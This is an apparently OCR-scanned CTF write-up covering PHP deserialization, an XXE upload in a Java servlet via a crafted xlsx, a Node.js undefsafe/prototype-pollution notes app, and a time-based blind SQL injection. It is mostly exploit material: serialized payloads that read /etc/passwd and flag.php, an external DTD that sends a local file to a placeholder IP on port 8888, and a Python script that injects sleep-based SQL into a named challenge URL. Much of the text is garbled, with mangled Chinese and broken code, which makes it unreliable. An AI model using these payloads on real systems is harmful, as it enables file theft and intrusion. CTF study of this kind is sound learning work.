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<?php
include("flag.php");
highlight_file(_ FILE_ );
class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile”;
$content = "Hello World!";
$this->process();

}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
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$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file put_contents($this->filename, $this->content);
if($res) $this->output("Successfull");
else $this->output("Failed!");
} else {
$this->output("Failed!");

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file get contents($this->filename);

}

return $res;

private function output($s) {
echo "[Result]: <br>";
echo $s;

function _ destruct() {
if($this->op === "2")
$this->op = "1";

$this->content =
$this->process();

function is_valid($s) {
for($i = ©; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 & ord($s[$i]) <= 125))
return false;
return true;

if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];

if(is_valid($str)) {
$obj = unserialize($str);
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function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 & ord($s[$i]) <= 125))

return false;
return true;
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protected $op;
protected $filename;
protected $content;
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function _ destruct() {

if($this->op === "2")
$this->op = "1";
$this->content = "";

$this->process();
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class FileHandler {

public $op =2;
public $filename='/etc/passwd’;
public $content;

$a = new FileHandler();

echo serialize($a);

/?str=0:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:11:"/etc/passwd";s:7:"content";N;}
AIPABER] /etc/passwd 3CHF, (HRBEE] flag. php
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KW M 5548 H A /web/html/flag. php
payload:
/?str=0:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename" ;s:18:"/web/html/flag.php";s:7:"content";N;}
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WEB-INF/classes/cn/abc/servlet/UploadServlet.class
WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
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package cn.abc.servlet;

import cn.abc.servlet.UploadServlet.1;

import java.io.File;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.util.Iterator;

import java.util.List;

import java.util.UUID;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import org.apache.commons.fileupload.FileItem;

import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;

import org.apache.poi.ss.usermodel.Workbook;

import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {

private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOExc
eption {
this.doPost(request, response);

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOEx
ception {
String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if(!tempFile.exists()) {
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String message = g

try {
DiskFileItemFactory e = new DiskFileItemFactory();
e.setSizeThreshold(102400);
e.setRepository(tempFile);
ServletFileUpload upload = new ServletFileUpload(e);
upload.setProgressListener(new 1(this));
upload.setHeaderEncoding("UTF-8");
upload.setFileSizeMax(1048576L);
upload.setSizeMax(10485760L);
if(!ServletFileUpload.isMultipartContent(request)) {

return;

List list = upload.parseRequest(request);
Iterator varle = list.iterator();

while(varle.hasNext()) {
FileItem fileItem = (FileItem)varl®.next();
String filename;
String fileExtName;
if(fileItem.isFormField()) {
filename = fileItem.getFieldName();
fileExtName = fileItem.getString("UTF-8");
} else {
filename = fileItem.getName();
if(filename != null && !filename.trim().equals("")) {
fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
InputStream in = fileItem.getInputStream();
if(filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook saveFilename = WorkbookFactory.create(in);
Sheet realSavePath = saveFilename.getSheetAt(0);
System.out.println(realSavePath.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();

String saveFilenamel = this.makeFileName(filename);
request.setAttribute("saveFilename", saveFilenamel);
request.setAttribute("filename", filename);

String realSavePathl = this.makePath(saveFilenamel, savePath);

FileOutputStream out = new FileOutputStream(realSavePathl + "/" + saveFilenamel);
byte[] buffer = new byte[1024];

boolean len = false;

int lenil;
while((lenl = in.read(buffer)) > 0) {
out.write(buffer, 0, lenl);

in.close();
out.close();

message = "3(fF BERINI;



}
} catch (FileUploadException var2l) {

var2l.printStackTrace();

request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);

private String makeFileName(String filename) {
return UUID.randomUUID().toString() + "_" + filename;

private String makePath(String filename, String savePath) {
int hashCode = filename.hashCode();
int dirl = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = savePath + "/" + dirl + "/" + dir2;
File file = new File(dir);
if(!file.exists()) {
file.mkdirs();

}
return dir;
}
}
FEKR:

if(filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {

try {
Workbook saveFilename = WorkbookFactory.create(in);

Sheet realSavePath = saveFilename.getSheetAt(0);
System.out.println(realSavePath.getFirstRowNum());

} catch (InvalidFormatException var20) {
System.err.println(" has something wrong");
var20.printStackTrace();
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<IENTITY % file SYSTEM "file:///flag">
<IENTITY % test "<!ENTITY &#37; back SYSTEM 'http://xx.xx.xx.xx:8888/?file=%file;"'>">
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<!DOCTYPE ANY[

<IENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/test.dtd'>
%send;

%test;

%back;

1>

RIGEMRSS s LW 8888w, fEAIH L, A% excel-1.x1sx XM, BLATLAEE] flag T ...

(S B i A R U R BT R B R e L) BOK B R A T SR B3 A% (img-iBZN7jCK-1590421115525)
(https://s1.ax1x.com/2020/05/10/Y8gaCt.png)]

notes

XEEE R T IR

var express = require('express');

var path = require('path');

const undefsafe = require('undefsafe');
const { exec } = require('child_process');

var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};

get _note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;

edit_note(id, author, raw) {

undefsafe(this.note_list, id + '.author', author);

undefsafe(this.note_list, id + '.raw_note', raw);

get_all notes() {
return this.note_list;

remove_note(id) {
delete this.note_list[id];

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");

app.set('views', path.join(__dirname, 'views'));
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app.set( view engine , 'pug);

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });

1)

app.route('/add_note")
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
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app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
)
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});

1}

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
)
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});

1}

app.route('/notes")
.get(function(req, res) {
let g = reqg.query.q;
let a_note;



if (typeof(q) === "undefined") {
a_note = notes.get_all notes();
} else {
a_note = notes.get_note(q);

}

res.render('note', {list: a_note});
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app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
s
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;

}
console.log( stdout: ${stdout}’);

1)
}

res.send('0OK");
res.end();

1))

app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!"');
1

app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!");
1

const port = 8080;
app.listen(port, () => console.log( Example app listening at http://localhost:${port} ))
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app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
1
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;

}
console.log( stdout: ${stdout} );

1)
}

res.send('0OK");
res.end();
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import requests
import time

url = "http://1bc30ba2b3f445d5b796e3b93e21954a718c043fa74540ee.cloudgame2.ichunqiu.com/register_do.php"
sql = "database()"
flag = ""

for i in range(1,43):
for j in range(44,128):

data = {
‘username':"'-if(ascii(substr(("+sql+"),"+str(i)+",1))="+str(j)+",cot(®) or sleep(4),cot(0))-'",
'password’:"aa"
}

try:

result=requests.post(url,data=data,timeout=3)
except requests.exceptions.ReadTimeout:

flag+=chr(j)

print flag

break
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